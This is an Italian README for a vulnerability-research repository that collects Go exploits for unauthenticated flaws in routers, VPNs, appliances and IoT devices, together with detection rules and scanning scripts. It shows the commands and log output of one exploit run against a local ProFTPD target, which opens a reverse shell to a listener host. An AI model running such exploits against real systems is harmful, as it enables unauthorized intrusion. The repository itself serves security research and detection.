
Exploit basati su Go per vulnerabilità di rete non autenticate in router, VPN, appliance e IoT, corredati di PCAP, regole Suricata/Snort/YARA/Sigma e script Nmap.
Il repository Initial Access Community di VulnCheck contiene exploit e artefatti associati al nostro prodotto proprietario Initial Access Intelligence e ai contributi della community. L'obiettivo tipico di Initial Access sono le vulnerabilità basate sulla rete che non richiedono interazione da parte dell'utente, con una forte preferenza per le vulnerabilità non autenticate. I bersagli tipici includono router, VPN, servizi self-hosted (MobileIron, GitLab, Confluence, ecc.), appliance di rete, applicazioni B2B e dispositivi IoT.
Gli exploit sono scritti in Go utilizzando il framework go-exploit di VulnCheck. Quando possibile, gli exploit includono un verificatore del target e uno scanner di versione. Initial Access non riguarda però solo gli exploit. Ci occupiamo anche di discovery e detection. Insieme agli exploit, includiamo, quando possibile:
Seguiamo le stesse linee guida di go-exploit per la progettazione degli exploit. Consulta la panoramica del pacchetto go-exploit.
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ - Exploit e artefatti specifici delle vulnerabilitàverification/ - Codice condiviso per la verifica del targetshells/ - Codice condiviso per shell e payloadexamples/ - Template per la creazione di nuovi exploittools/ - Strumenti e utilità del progetto